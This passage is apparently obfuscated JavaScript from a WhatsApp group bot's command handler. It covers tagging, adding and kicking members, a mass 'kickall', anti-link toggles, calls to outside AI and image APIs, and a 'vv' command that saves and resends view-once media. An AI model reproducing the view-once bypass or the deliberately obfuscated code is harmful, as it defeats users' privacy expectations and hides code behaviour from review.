_0x29c586=_0x5c5597[_0x4accf0(0x1b3)],_0x50a93a=_0x2d8b27('\x20๐ธ๏ธใ\x20๐๐๐๐\x20๐\x20๐๐๐๐๐\x20๐๐\x20ใ๐ธ๏ธ\x0a๐\x20*tagger*\x20\x20@'+_0x29c586[_0x4accf0(0x5a5)]('@')[0x0]+'\x0a\x0a');for(let _0x427a61 of _0x6e7831){_0x50a93a+=themeemoji+'\x20@'+_0x427a61['id']['split']('@')[0x0]+'\x0a';}_0x4dbacb[_0x4accf0(0x367)](_0x5c5597[_0x4accf0(0x3e8)],{'text':_0x50a93a,'mentions':_0x6e7831[_0x4accf0(0x57b)](_0x379bdd=>_0x379bdd['id'])},{'quoted':_0x5c5597});break;case _0x4accf0(0x586):case _0x4accf0(0x2a8):{if(!_0x13a9d2)return _0x218677(mess[_0x4accf0(0x3ed)][_0x4accf0(0x39a)]);if(!_0x5a6cac&&!_0x37b1f2)return _0x218677(mess[_0x4accf0(0x3ed)][_0x4accf0(0x4bb)]);await _0x2cabfc(),_0x4dbacb['sendMessage'](_0x5c5597['chat'],{'text':_0x2f0db6?_0x2f0db6:'','mentions':_0x6e7831[_0x4accf0(0x57b)](_0x1bca6d=>_0x1bca6d['id'])},{'quoted':_0x5c5597});break;};case _0x4accf0(0x45d):{if(!_0x13a9d2)return _0x218677(mess[_0x4accf0(0x3ed)]['group']);await _0x2cabfc();if(!_0x1afde9)return _0x218677(mess[_0x4accf0(0x3ed)][_0x4accf0(0x3d0)]);if(!_0x65ab0d&&!_0x37b1f2)return _0x218677(mess[_0x4accf0(0x3ed)]['admin']);let _0x17fa3e=[];if(_0x5c5597['quoted'])_0x17fa3e=[_0x5c5597['quoted'][_0x4accf0(0x1b3)]];else{if(_0xc223ee['length']>0x0)_0x17fa3e=_0xc223ee;else _0x4aa46e[0x0]&&(_0x17fa3e=[_0x4aa46e[0x0][_0x4accf0(0x289)](/[^0-9]/g,'')+_0x4accf0(0x5b3)]);}if(_0x17fa3e[_0x4accf0(0x2e7)]===0x0)return _0x218677(_0x4accf0(0x622));try{await _0x4dbacb[_0x4accf0(0x4cf)](_0x5c5597[_0x4accf0(0x3e8)],_0x17fa3e,'remove'),_0x218677(_0x4accf0(0x1f2)+_0x17fa3e[_0x4accf0(0x57b)](_0x2da5ff=>'@'+_0x2da5ff[_0x4accf0(0x5a5)]('@')[0x0])[_0x4accf0(0x2ba)](',\x20'),{'mentions':_0x17fa3e});}catch(_0x3e81ad){console[_0x4accf0(0x179)](_0x4accf0(0x21c),_0x3e81ad),_0x218677(_0x4accf0(0x3cb));}break;}case _0x4accf0(0x433):{if(!_0x13a9d2)return _0x218677(mess[_0x4accf0(0x3ed)][_0x4accf0(0x39a)]);if(!_0x1afde9)return _0x218677(mess[_0x4accf0(0x3ed)][_0x4accf0(0x3d0)]);if(!_0x65ab0d&&!_0x37b1f2)return _0x218677(mess[_0x4accf0(0x3ed)][_0x4accf0(0x4bb)]);await _0x2cabfc();let _0x2fb187;if(_0x4aa46e[0x0])_0x2fb187=_0x4aa46e[0x0][_0x4accf0(0x289)](/[^0-9]/g,'');else{if(_0x5c5597['quoted']&&_0x5c5597['quoted'][_0x4accf0(0x1b3)])_0x2fb187=_0x5c5597['quoted'][_0x4accf0(0x1b3)][_0x4accf0(0x5a5)]('@')[0x0];else return _0x218677('Please\x20provide\x20a\x20number\x20or\x20reply\x20to\x20a\x20user\x20to\x20add.');}const _0x563684=_0x2fb187+'@s.whatsapp.net';try{await _0x4dbacb[_0x4accf0(0x4cf)](_0x5c5597['chat'],[_0x563684],'add'),await _0x4dbacb['sendMessage'](_0x5c5597[_0x4accf0(0x3e8)],{'text':_0x2d8b27(_0x4accf0(0x1b2)+_0x2fb187+_0x4accf0(0x2ce)+caption),'mentions':[_0x563684]},{'quoted':_0x5c5597});}catch(_0x59e330){_0x218677('Failed\x20to\x20add\x20the\x20user.\x20Make\x20sure\x20the\x20number\x20is\x20valid\x20and\x20I\x20have\x20the\x20correct\x20permissions.'),console[_0x4accf0(0x179)](_0x59e330);}break;}case _0x4accf0(0x32d):{if(!_0x2f0db6)return _0x218677(_0x4accf0(0x614)+(_0xad3cd8+_0x3b6cc3)+_0x4accf0(0x275));await _0x2cabfc();try{let _0x3904ea=_0x4accf0(0x483)+encodeURIComponent(_0x2f0db6),_0x37d8fb=await fetch(_0x3904ea),_0x3f0de0=await _0x37d8fb['json']();if(!_0x3f0de0[_0x4accf0(0x5d3)]||!_0x3f0de0[_0x4accf0(0x337)])return _0x218677(_0x4accf0(0x357));_0x4dbacb[_0x4accf0(0x367)](_0x5c5597['chat'],{'text':_0x2d8b27('๐\x20*Shortened\x20URL:*\x0a\x0a๐\x20*Long:*\x20')+_0x2f0db6+_0x2d8b27('\x0aโ๏ธ\x20*Short:*\x20')+_0x3f0de0[_0x4accf0(0x337)]},{'quoted':_0x5c5597});}catch(_0x2fa4e7){console['error'](_0x4accf0(0x3b0),_0x2fa4e7),_0x218677(_0x4accf0(0x2da));}break;}case _0x4accf0(0x51a):{if(!_0x37b1f2)return _0x218677(mess[_0x4accf0(0x3ed)][_0x4accf0(0x2b0)]);if(!_0x4aa46e[0x0])return _0x218677(_0x4accf0(0x45a)+(_0xad3cd8+_0x3b6cc3)+'\x20on/off');if(_0x4aa46e[0x0]==='on')global[_0x4accf0(0x3f6)]=!![],await _0x218677(_0x4accf0(0x3a7));else{if(_0x4aa46e[0x0]===_0x4accf0(0x426))global[_0x4accf0(0x3f6)]=![],await _0x218677('Successfully\x20Deactivated\x20AutoReact.');else return _0x218677(_0x4accf0(0x3c2));}break;}case _0x4accf0(0x4b8):{if(!_0x2f0db6)return _0x218677('*Please\x20provide\x20a\x20query.*\x0a\x0a*Example:*\x20'+(_0xad3cd8+_0x3b6cc3)+'\x20Hello,\x20which\x20model\x20are\x20you?');await _0x2cabfc();try{const _0x5307ab=_0x4accf0(0x276),_0x108976=_0x4accf0(0x637)+encodeURIComponent(_0x5307ab)+encodeURIComponent(_0x2f0db6),_0x246715=await fetch(_0x108976),_0x644318=await _0x246715[_0x4accf0(0x1f0)]();if(_0x644318[_0x4accf0(0x2cd)]!==0xc8||!_0x644318[_0x4accf0(0x5d7)])return _0x218677('Failed\x20to\x20process\x20your\x20request.\x20Please\x20try\x20again\x20later.');const _0x2634d9=_0x644318[_0x4accf0(0x5d7)];await _0x4dbacb['sendMessage'](_0x499c38,{'image':{'url':_0x4accf0(0x507)},'caption':_0x2d8b27(_0x4accf0(0x1ae)+_0x2634d9+'\x0a>\x20'+caption)},{'quoted':_0x5c5597});}catch(_0x521aa2){console[_0x4accf0(0x179)](_0x4accf0(0x4de),_0x521aa2),_0x218677(_0x4accf0(0x35b));}break;}case'gemini':{if(!_0x2f0db6)return _0x218677(_0x4accf0(0x2fe)+(_0xad3cd8+_0x3b6cc3)+_0x4accf0(0x51d));await _0x2cabfc();try{const _0x1aea48=_0x4accf0(0x637)+encodeURIComponent(_0x2f0db6),_0x5801fa=await fetch(_0x1aea48),_0x577bf4=await _0x5801fa[_0x4accf0(0x1f0)]();if(_0x577bf4[_0x4accf0(0x2cd)]!==0xc8||!_0x577bf4[_0x4accf0(0x5d7)])return _0x218677(_0x4accf0(0x3d7));const _0x526ec3=_0x577bf4[_0x4accf0(0x5d7)];await _0x4dbacb[_0x4accf0(0x367)](_0x499c38,{'image':{'url':_0x4accf0(0x309)},'caption':_0x2d8b27(_0x4accf0(0x43a)+_0x526ec3+_0x4accf0(0x2ce)+caption)},{'quoted':_0x5c5597});}catch(_0x32ccb6){console[_0x4accf0(0x179)](_0x4accf0(0x501),_0x32ccb6),_0x218677(_0x4accf0(0x35b));}break;}case _0x4accf0(0x5db):case'ai':{if(!_0x2f0db6)return _0x218677('*Please\x20provide\x20a\x20query.*\x0a\x0a*Example:*\x20'+(_0xad3cd8+_0x3b6cc3)+_0x4accf0(0x1d4));await _0x2cabfc();try{const _0x22f3b7=_0x4accf0(0x5c9)+encodeURIComponent(_0x2f0db6),_0x4cd9e3=await fetch(_0x22f3b7),_0x2dd667=await _0x4cd9e3['json']();if(!_0x2dd667[_0x4accf0(0x2cd)]||!_0x2dd667[_0x4accf0(0x36f)])return _0x218677('Failed\x20to\x20process\x20your\x20request.\x20Please\x20try\x20again\x20later.');const _0x4bb9e5=_0x2dd667[_0x4accf0(0x36f)];await _0x4dbacb[_0x4accf0(0x367)](_0x499c38,{'image':{'url':_0x4accf0(0x52e)},'caption':_0x2d8b27(_0x4accf0(0x432)+_0x4bb9e5+_0x4accf0(0x2ce)+caption)},{'quoted':_0x5c5597});}catch(_0x3c9486){console[_0x4accf0(0x179)]('Error\x20in\x20Gemini-pro\x20case:',_0x3c9486),_0x218677(_0x4accf0(0x35b));}break;}case _0x4accf0(0x319):{if(!_0x2f0db6)return _0x218677('โ\x20Please\x20enter\x20a\x20prompt.\x0a\x0aExample:\x20*'+(_0xad3cd8+_0x3b6cc3)+_0x4accf0(0x566));await _0x2cabfc();try{let _0x3e4783='https://api.siputzx.my.id/api/ai/flux?prompt='+encodeURIComponent(_0x2f0db6);await _0x4dbacb[_0x4accf0(0x367)](_0x5c5597[_0x4accf0(0x3e8)],{'image':{'url':_0x3e4783},'caption':_0x2d8b27('๐จ\x20*Flux\x20AI\x20Generated\x20Image*\x0a\x0a๐\x20*Prompt:*\x20'+_0x2f0db6+_0x4accf0(0x2ce)+caption)},{'quoted':_0x5c5597});}catch(_0x2b23d0){console[_0x4accf0(0x179)](_0x4accf0(0x325),_0x2b23d0),_0x218677(_0x4accf0(0x417));}break;}case _0x4accf0(0x59b):{if(!_0x2f0db6)return _0x218677(_0x4accf0(0x171)+(_0xad3cd8+_0x3b6cc3)+'\x20What\x20is\x20AI?*');await _0x2cabfc();try{let _0x40b777=_0x4accf0(0x1d8)+encodeURIComponent(_0x2f0db6),_0xa41e9b=_0x4accf0(0x4a5),_0x41be06=await fetch(_0x40b777),_0x2b2c69=await _0x41be06[_0x4accf0(0x1f0)]();if(!_0x2b2c69[_0x4accf0(0x2cd)]||!_0x2b2c69[_0x4accf0(0x5d7)])return _0x218677(_0x4accf0(0x56d));let _0x2b4ccc=_0x2b2c69[_0x4accf0(0x5d7)];await _0x4dbacb[_0x4accf0(0x367)](_0x5c5597['chat'],{'image':{'url':_0xa41e9b},'caption':_0x2d8b27(_0x4accf0(0x1b5)+_0x2f0db6+_0x4accf0(0x292)+_0x2b4ccc+_0x4accf0(0x2ce)+caption)},{'quoted':_0x5c5597});}catch(_0x3edc9a){console[_0x4accf0(0x179)]('Error\x20in\x20llama3.4\x20case:',_0x3edc9a),_0x218677(_0x4accf0(0x62f));}break;}case'deepseek':{if(!_0x2f0db6)return _0x218677(_0x4accf0(0x171)+(_0xad3cd8+_0x3b6cc3)+_0x4accf0(0x5d8));await _0x2cabfc();try{let _0x48101b=_0x4accf0(0x339)+encodeURIComponent(_0x2f0db6),_0x4cd121=_0x4accf0(0x3b1),_0x367788=await fetch(_0x48101b),_0xce958c=await _0x367788[_0x4accf0(0x1f0)]();if(!_0xce958c[_0x4accf0(0x2cd)]||!_0xce958c['data'])return _0x218677(_0x4accf0(0x56d));let _0x5917bf=_0xce958c[_0x4accf0(0x5d7)][_0x4accf0(0x289)](_0x4accf0(0x228),'');await _0x4dbacb[_0x4accf0(0x367)](_0x5c5597['chat'],{'image':{'url':_0x4cd121},'caption':_0x2d8b27(_0x4accf0(0x229)+_0x2f0db6+_0x4accf0(0x643)+_0x5917bf+'\x0a>\x20'+caption)},{'quoted':_0x5c5597});}catch(_0x1e60dc){console[_0x4accf0(0x179)](_0x4accf0(0x634),_0x1e60dc),_0x218677(_0x4accf0(0x62f));}break;}case _0x4accf0(0x504):{if(!_0x2f0db6)return _0x218677(_0x4accf0(0x171)+(_0xad3cd8+_0x3b6cc3)+_0x4accf0(0x5d8));await _0x2cabfc();try{let _0x2f2ae6='https://api.siputzx.my.id/api/ai/deepseek-llm-67b-chat?content='+encodeURIComponent(_0x2f0db6),_0x2d40f3=_0x4accf0(0x3b1),_0x3e4eae=await fetch(_0x2f2ae6),_0x5e1550=await _0x3e4eae[_0x4accf0(0x1f0)]();if(!_0x5e1550[_0x4accf0(0x2cd)]||!_0x5e1550[_0x4accf0(0x5d7)])return _0x218677(_0x4accf0(0x56d));let _0x34de68=_0x5e1550['data'];await _0x4dbacb['sendMessage'](_0x5c5597['chat'],{'image':{'url':_0x2d40f3},'caption':_0x2d8b27(_0x4accf0(0x4b4)+_0x2f0db6+_0x4accf0(0x643)+_0x34de68+_0x4accf0(0x2ce)+caption)},{'quoted':_0x5c5597});}catch(_0x31618d){console[_0x4accf0(0x179)](_0x4accf0(0x475),_0x31618d),_0x218677(_0x4accf0(0x62f));}break;}case _0x4accf0(0x3d2):{if(!_0x2f0db6)return _0x218677(_0x4accf0(0x171)+(_0xad3cd8+_0x3b6cc3)+'\x20What\x20is\x20AI?*');await _0x2cabfc();try{let _0x4ed8cd='https://api.siputzx.my.id/api/ai/mistral-7b-instruct-v0.2?content='+encodeURIComponent(_0x2f0db6),_0x28adc8=_0x4accf0(0x30d),_0x322198=await fetch(_0x4ed8cd),_0x4aaf51=await _0x322198[_0x4accf0(0x1f0)]();if(!_0x4aaf51[_0x4accf0(0x2cd)]||!_0x4aaf51[_0x4accf0(0x5d7)])return _0x218677('โ\x20No\x20response\x20received.\x20Try\x20again\x20later.');let _0x23705d=_0x4aaf51['data'];await _0x4dbacb[_0x4accf0(0x367)](_0x5c5597[_0x4accf0(0x3e8)],{'image':{'url':_0x28adc8},'caption':_0x2d8b27('๐ฌ๏ธ\x20*Mistral\x207B\x20AI\x20Response*\x0a\x0a๐ฌ\x20*Query:*\x20'+_0x2f0db6+_0x4accf0(0x643)+_0x23705d+_0x4accf0(0x2ce)+caption)},{'quoted':_0x5c5597});}catch(_0x2c09ba){console[_0x4accf0(0x179)](_0x4accf0(0x50c),_0x2c09ba),_0x218677(_0x4accf0(0x62f));}break;}case'blackbox':{if(!_0x2f0db6)return _0x218677(_0x4accf0(0x42a));await _0x2cabfc();let _0x558f5a=_0x4accf0(0x461)+encodeURIComponent(_0x2f0db6),_0x32b88f=_0x4accf0(0x5c2);try{let _0x23f69c=await fetch(_0x558f5a),_0x2f43f3=await _0x23f69c[_0x4accf0(0x1f0)]();if(!_0x2f43f3[_0x4accf0(0x2cd)]||!_0x2f43f3[_0x4accf0(0x5d7)])return _0x218677('โ\x20No\x20response\x20received.\x20Try\x20again\x20later.');let _0x1da385=_0x2f43f3['data'][_0x4accf0(0x289)](/\n\n<\/think>\n\n/,'');await _0x4dbacb[_0x4accf0(0x367)](_0x5c5597[_0x4accf0(0x3e8)],{'image':{'url':_0x32b88f},'caption':_0x2d8b27('๐ค\x20*Blackbox\x20AI\x20Response*\x0a\x0a๐ฌ\x20*Query:*\x20'+_0x2f0db6+_0x4accf0(0x292)+_0x1da385)},{'quoted':_0x5c5597});}catch(_0x4c62b4){console[_0x4accf0(0x179)]('Error\x20fetching\x20Blackbox\x20AI\x20response:',_0x4c62b4),_0x218677(_0x4accf0(0x577));}break;}case _0x4accf0(0x609):{if(!_0x5c5597['isGroup'])return _0x218677(mess['only']['group']);if(!_0x37b1f2&&!_0x5a6cac)return _0x218677(mess['only'][_0x4accf0(0x4bb)]);if(!_0x5d2456)return _0x218677(mess['only'][_0x4accf0(0x3d0)]);try{await _0x2cabfc(),await _0x4dbacb[_0x4accf0(0x40c)](_0x5c5597['chat'],_0x4accf0(0x44e)),_0x218677(mess[_0x4accf0(0x5d3)]);}catch(_0x5094e3){console[_0x4accf0(0x179)](_0x5094e3),_0x218677(_0x4accf0(0x465));}break;}case _0x4accf0(0x4ce):{if(!_0x5c5597[_0x4accf0(0x237)])return _0x218677(mess[_0x4accf0(0x3ed)][_0x4accf0(0x39a)]);if(!_0x37b1f2&&!_0x5a6cac)return _0x218677(mess['only'][_0x4accf0(0x4bb)]);if(!_0x5d2456)return _0x218677(mess[_0x4accf0(0x3ed)][_0x4accf0(0x3d0)]);try{await _0x2cabfc(),await _0x4dbacb[_0x4accf0(0x40c)](_0x5c5597['chat'],_0x4accf0(0x260)),_0x218677(mess['success']);}catch(_0xff965c){console[_0x4accf0(0x179)](_0xff965c),_0x218677(_0x4accf0(0x431));}break;}case _0x4accf0(0x464):{let _0x174663=[_0x240e0b];_0x4dbacb[_0x4accf0(0x367)](_0x499c38,{'text':'@'+_0x1d52bb,'mentions':_0x174663});}break;case'kickall':{if(!_0x13a9d2&&!_0x65ab0d)return _0x218677(mess['only'][_0x4accf0(0x39a)]);if(!_0x1afde9)return _0x218677(mess[_0x4accf0(0x3ed)][_0x4accf0(0x3d0)]);const _0x43d7be=_0x4aa46e[0x0]===_0x4accf0(0x515)?_0x2f0db6[_0x4accf0(0x289)](_0x4aa46e[0x0]+'\x20','')['split']('|'):Number(_0x4aa46e[0x0])?_0x58b74c['participants']['filter'](_0x3cfc05=>_0x3cfc05['id'][_0x4accf0(0x513)](_0x4aa46e[0x0][_0x4accf0(0x289)]('+',''))&&_0x3cfc05['id']!==_0x30aee7&&_0x3cfc05['id']!==_0x30aee7+'@s.whatsapp.net')['map'](_0x3191c4=>_0x3191c4['id']):_0x58b74c[_0x4accf0(0x434)][_0x4accf0(0x58b)](_0x10ee14=>_0x10ee14['id']!==_0x30aee7&&_0x10ee14['id']!==_0x30aee7+'@s.whatsapp.net')[_0x4accf0(0x57b)](_0x4185e5=>_0x4185e5['id']);if(_0x1bf72b[_0x4accf0(0x608)]==![])db['data']['chats'][_0x499c38][_0x4accf0(0x608)]=![];for(let _0x4ae3ff of _0x43d7be){await _0x4dbacb['groupParticipantsUpdate'](_0x5c5597[_0x4accf0(0x3e8)],[_0x4aa46e[0x0]==='numBut'?_0x4ae3ff+_0x4accf0(0x5b3):_0x4ae3ff],'remove'),await sleep(0x64);}_0x218677(mess['success']);}break;case _0x4accf0(0x2b1):{if(!_0x13a9d2)return _0x218677(mess[_0x4accf0(0x3ed)][_0x4accf0(0x39a)]);if(!_0x65ab0d)return _0x218677(mess['only']['admin']);if(!_0x1afde9)return _0x218677(mess[_0x4accf0(0x3ed)][_0x4accf0(0x3d0)]);await _0x2cabfc();if(_0x5b1409||_0x325b07){let _0x2b5109=await _0x4dbacb[_0x4accf0(0x5dd)](_0x38386a,makeid(0x5));await _0x4dbacb[_0x4accf0(0x53d)](_0x499c38,{'url':_0x2b5109})[_0x4accf0(0x583)](_0x236f83=>{const _0x9e84e=_0x4accf0;_0x218677(mess[_0x9e84e(0x5d3)]),fs[_0x9e84e(0x281)](_0x2b5109);})[_0x4accf0(0x5c1)](()=>_0x218677(mess['error'][_0x4accf0(0x18f)]));}else _0x218677(_0x4accf0(0x26c)+_0x3b6cc3);}break;case _0x4accf0(0x3a3):if(!_0x13a9d2)return _0x218677(mess['only'][_0x4accf0(0x39a)]);if(!_0x65ab0d)return _0x218677(mess[_0x4accf0(0x3ed)][_0x4accf0(0x4bb)]);await _0x2cabfc();try{var _0x5009c5=await _0x4dbacb[_0x4accf0(0x23b)](_0x499c38,_0x4accf0(0x1e8));}catch(_0x5c82f2){console[_0x4accf0(0x5b7)](_0x5c82f2);var _0x5009c5='https://i0.wp.com/www.gambarunik.id/wp-content/uploads/2019/06/Top-Gambar-Foto-Profil-Kosong-Lucu-Tergokil-.jpg';}await _0x4dbacb['sendMessage'](_0x499c38,{'image':{'url':_0x5009c5}},{'quoted':_0x5c5597});break;case _0x4accf0(0x581):{if(!_0x13a9d2)return _0x218677(mess[_0x4accf0(0x3ed)][_0x4accf0(0x39a)]);if(!_0x65ab0d)return _0x218677(mess[_0x4accf0(0x3ed)][_0x4accf0(0x4bb)]);if(!_0x1afde9)return _0x218677(mess[_0x4accf0(0x3ed)]['Badmin']);await _0x2cabfc(),await _0x4dbacb[_0x4accf0(0x1c6)](_0x499c38);}break;case'invite':{if(!_0x13a9d2)return _0x218677(mess['only'][_0x4accf0(0x39a)]);if(!_0x1afde9)return _0x218677(mess[_0x4accf0(0x3ed)]['Badmin']);if(!_0x3ebfc6)return _0x218677('`No\x20WhatsApp\x20number\x20detected.`\x0a*Example:\x20'+(_0xad3cd8+_0x3b6cc3)+'\x20255734980103*');if(_0x3ebfc6[_0x4accf0(0x455)]('+'))return _0x218677(_0x4accf0(0x531));if(isNaN(_0x3ebfc6))return _0x218677(_0x4accf0(0x2be));let _0x561a14=_0x5c5597[_0x4accf0(0x3e8)];try{let _0x362085=_0x4accf0(0x5e7)+await _0x4dbacb['groupInviteCode'](_0x561a14);await _0x4dbacb[_0x4accf0(0x367)](_0x3ebfc6+_0x4accf0(0x5b3),{'text':_0x4accf0(0x2ed)+_0x58b74c[_0x4accf0(0x430)]+_0x4accf0(0x518)+_0x362085}),_0x218677('*Group\x20invitation\x20link\x20successfully\x20sent.*');}catch(_0x318c47){console[_0x4accf0(0x179)](_0x4accf0(0x264),_0x318c47),_0x218677(_0x4accf0(0x1ac));}break;}case _0x4accf0(0x316):{if(!_0x13a9d2)return _0x218677(mess[_0x4accf0(0x3ed)][_0x4accf0(0x39a)]);await _0x2cabfc();let _0xead9e1=await _0x4dbacb[_0x4accf0(0x519)](_0x499c38);console[_0x4accf0(0x5b7)](_0xead9e1);let _0x49e4da=await _0x4dbacb[_0x4accf0(0x23b)](_0xead9e1['id'],'image'),_0x4c99c6=_0x4accf0(0x21e)+(_0xb49368?_0x4accf0(0x39d):_0x4accf0(0x193))+_0x4accf0(0x1f3)+(_0x3ced89?'ACTIVEโ
':_0x4accf0(0x193))+_0x4accf0(0x4cb)+(_0x220dd3?_0x4accf0(0x39d):_0x4accf0(0x193))+_0x4accf0(0x20d)+(_0x320e59?_0x4accf0(0x39d):'UNACTIVEโ')+_0x4accf0(0x2e6)+(_0x564c31?_0x4accf0(0x39d):_0x4accf0(0x193))+_0x4accf0(0x4ba)+_0xead9e1[_0x4accf0(0x430)]+_0x4accf0(0x28b)+_0xead9e1['id']+'\x0aโญ\x20*Created\x20on\x20:*\x20'+moment(_0xead9e1[_0x4accf0(0x361)]*0x3e8)[_0x4accf0(0x3f1)]('ll')+_0x4accf0(0x2fb)+_0xead9e1[_0x4accf0(0x49f)]+_0x4accf0(0x472)+_0xead9e1[_0x4accf0(0x434)][_0x4accf0(0x58b)](_0x460718=>_0x460718[_0x4accf0(0x4bb)]===_0x4accf0(0x4bb))[_0x4accf0(0x2e7)]+_0x4accf0(0x4f2)+_0xead9e1[_0x4accf0(0x434)][_0x4accf0(0x58b)](_0x535a3c=>_0x535a3c[_0x4accf0(0x4bb)]===null)['length']+_0x4accf0(0x5bc)+_0xead9e1[_0x4accf0(0x16c)];await _0x4dbacb['sendMessage'](_0x499c38,{'caption':_0x4c99c6,'image':await getBuffer(_0x49e4da)},{'quoted':_0x3e2898});}break;case _0x4accf0(0x479):case _0x4accf0(0x3bf):{if(!_0x13a9d2)return _0x218677(mess['only'][_0x4accf0(0x39a)]);if(!_0x37b1f2&&!_0x65ab0d)return _0x218677(mess['only'][_0x4accf0(0x4bb)]);if(!_0x1afde9)return _0x218677(mess[_0x4accf0(0x3ed)][_0x4accf0(0x3d0)]);_0x4dbacb['groupRevokeInvite'](_0x499c38);}break;case _0x4accf0(0x561):{if(!_0x13a9d2)return _0x218677(mess[_0x4accf0(0x3ed)][_0x4accf0(0x39a)]);if(!_0x65ab0d&&!_0x37b1f2)return _0x218677(mess[_0x4accf0(0x3ed)][_0x4accf0(0x4bb)]);await _0x2cabfc();if(_0x4aa46e[0x0]==='on'||_0x4aa46e[0x0]===_0x4accf0(0x444)||_0x4aa46e[0x0]==='1'){if(_0xb49368)return _0x218677(_0x4accf0(0x46c));db[_0x4accf0(0x5d7)][_0x4accf0(0x567)][_0x499c38][_0x4accf0(0x561)]=!![];let _0x508e77=_0x4accf0(0x435);_0x218677(_0x508e77);}else{if(_0x4aa46e[0x0]==='off'||_0x4aa46e[0x0]===_0x4accf0(0x565)||_0x4aa46e[0x0]==='0'){if(!_0xb49368)return _0x218677(_0x4accf0(0x56f));db['data'][_0x4accf0(0x567)][_0x499c38][_0x4accf0(0x561)]=![];let _0x34f50d=_0x4accf0(0x1ee);_0x218677(_0x34f50d);}else!_0x2f0db6&&_0x218677('*anti\x20link\x20mode*\x0a\x20'+(_0xad3cd8+_0x3b6cc3)+'\x20on/off');}}break;case _0x4accf0(0x36c):{if(!_0x2f0db6)return _0x218677('Please\x20provide\x20a\x20prompt.\x0a\x0aExample:\x20*'+(_0xad3cd8+_0x3b6cc3)+_0x4accf0(0x1e9));await _0x2cabfc();try{let _0x4f69cd=_0x4accf0(0x254)+encodeURIComponent(_0x2f0db6);await _0x4dbacb[_0x4accf0(0x367)](_0x5c5597[_0x4accf0(0x3e8)],{'image':{'url':_0x4f69cd},'caption':_0x2d8b27(_0x4accf0(0x5c7)+_0x2f0db6+'\x0a>\x20'+caption)},{'quoted':_0x5c5597});}catch(_0x341947){console[_0x4accf0(0x179)](_0x4accf0(0x24b),_0x341947),_0x218677('โ\x20An\x20error\x20occurred\x20while\x20generating\x20the\x20image.\x20Please\x20try\x20again\x20later.');}break;}case'tts':case _0x4accf0(0x427):{if(!_0x2f0db6)return _0x218677(_0x4accf0(0x535)+(_0xad3cd8+_0x3b6cc3)+_0x4accf0(0x356));try{await _0x2cabfc();const _0x48a606=_0x4accf0(0x2cf)+encodeURIComponent(_0x2f0db6)+_0x4accf0(0x46a),_0x304445=await fetch(_0x48a606);if(!_0x304445['ok'])return _0x218677(_0x4accf0(0x3d7));await _0x4dbacb['sendMessage'](_0x499c38,{'audio':{'url':_0x48a606},'mimetype':_0x4accf0(0x1d5),'fileName':'tts_'+Date[_0x4accf0(0x4ca)]()+_0x4accf0(0x5cb),'ptt':!![]},{'quoted':_0x5c5597});}catch(_0x975924){console[_0x4accf0(0x179)](_0x4accf0(0x530),_0x975924),_0x218677('An\x20error\x20occurred\x20while\x20processing\x20your\x20request.\x20Please\x20try\x20again\x20later.');}break;}case'vv':case _0x4accf0(0x262):{if(!_0x37b1f2)return _0x218677(mess[_0x4accf0(0x3ed)][_0x4accf0(0x2b0)]);if(!_0x38386a)return _0x218677(_0x4accf0(0x27c));let _0x1d3fa2=_0x38386a,_0x3b3459=Object[_0x4accf0(0x299)](_0x1d3fa2)[0x0];if(!_0x1d3fa2[_0x3b3459]?.[_0x4accf0(0x19a)])return _0x218677(_0x4accf0(0x425));await _0x2cabfc();try{let _0x46b411=await downloadMediaMessage(_0x1d3fa2[_0x3b3459],_0x3b3459===_0x4accf0(0x5aa)?'image':_0x3b3459==='videoMessage'?_0x4accf0(0x4e2):_0x4accf0(0x169));if(!_0x46b411)return _0x218677(_0x4accf0(0x47f));let _0x36f068=_0x1d3fa2[_0x3b3459]?.[_0x4accf0(0x1e6)]||_0x4accf0(0x5b4),_0xdf6f44=_0x36f068[_0x4accf0(0x5a5)]('\x0a')[_0x4accf0(0x57b)](_0x401191=>'>\x20'+_0x401191)[_0x4accf0(0x2ba)]('\x0a'),_0xdc2e7='>\x20'+caption;if(/video/['test'](_0x3b3459))await _0x4dbacb[_0x4accf0(0x367)](_0x1bf72b,{'video':_0x46b411,'caption':_0xdc2e7},{'quoted':mess});else{if(/image/['test'](_0x3b3459))await _0x4dbacb['sendMessage'](_0x1bf72b,{'image':_0x46b411,'caption':_0xdc2e7},{'quoted':mess});else/audio/[_0x4accf0(0x17d)](_0x3b3459)&&await _0x4dbacb[_0x4accf0(0x367)](_0x1bf72b,{'audio':_0x46b411,'mimetype':'audio/mpeg','ptt':!![]},{'quoted':mess});}}catch(_0x339a4b){return console[_0x4accf0(0x179)]('โ\x20Error\x20retrieving\x20View\x20Once\x20message:',_0x339a4b),_0x218677(_0x4accf0(0x209));}}break;case'qr':{if(!_0x2f0db6)return _0x218677('Please\x20provide\x20text\x20or\x20a\x20link\x20to\x20generate\x20a\x20QR\x20code.');await _0x2cabfc();const _0x222f45=_0x4accf0(0x4dc)+encodeURIComponent(_0x2f0db6);await _0x4dbacb[_0x4accf0(0x367)](_0x5c5597[_0x4accf0(0x3e8)],{'image':{'url':_0x222f45},'caption':'โ
\x20*QR\x20Code\x20Generated*\x0a๐\x20Data:\x20'+_0x2f0db6},{'quoted':_0x5c5597});break;}case _0x4accf0(0x4e7):case _0x4accf0(0x3f5):case'sc':{try{await _0x2cabfc(),await _0x2cabfc();const _0x3d6077=_0x4accf0(0x477),_0x2f4546=await fetch(_0x3d6077);if(!_0x2f4546['ok'])return _0x218677(_0x4accf0(0x377)+_0x2f4546[_0x4accf0(0x437)]);const _0x45567d=await _0x2f4546[_0x4accf0(0x248)]();await _0x4dbacb['sendMessage'](_0x5c5597[_0x4accf0(0x3e8)],{'document':_0x45567d,'mimetype':_0x4accf0(0x3ff),'fileName':_0x4accf0(0x1a6),'caption':_0x4accf0(0x2d4)},{'quoted':_0x5c5597});}catch(_0x276f32){console[_0x4accf0(0x179)]('Error\x20in\x20script\x20case:',_0x276f32),_0x218677(_0x4accf0(0x1e7));}break;}case _0x4accf0(0x151):{if(!_0x2f0db6)return _0x218677('Please\x20provide\x20a\x20valid\x20URL.\x0aExample:\x20*'+_0xad3cd8+_0x3b6cc3+_0x4accf0(0x275));await _0x2cabfc();try{let _0x546404=_0x4accf0(0x58c)+encodeURIComponent(_0x2f0db6);await _0x4dbacb['sendMessage'](_0x5c5597[_0x4accf0(0x3e8)],{'image':{'url':_0x546404},'caption':_0x2d8b27(_0x4accf0(0x611))+_0x2f0db6},{'quoted':_0x5c5597});}catch(_0x35823f){console[_0x4accf0(0x179)](_0x4accf0(0x4be),_0x35823f),_0x4dbacb[_0x4accf0(0x367)](_0x5c5597[_0x4accf0(0x3e8)],{'text':_0x4accf0(0x62a)});}break;}case 